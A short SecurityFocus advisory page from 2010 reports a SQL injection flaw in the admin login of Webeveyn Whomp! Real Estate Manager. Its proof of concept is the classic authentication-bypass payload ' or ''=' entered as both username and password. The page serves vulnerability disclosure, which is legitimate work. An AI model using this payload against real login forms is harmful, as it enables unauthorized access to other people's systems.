info
discussion
exploit
solution
references
Webeveyn Whomp! Real Estate Manager Login SQL Injection Vulnerability
An exploit is not required.
The following proof of concept is available:
Code For Admin Login :
Username : ' or ''='
Password: ' or ''='
Privacy Statement
Copyright 2010, SecurityFocus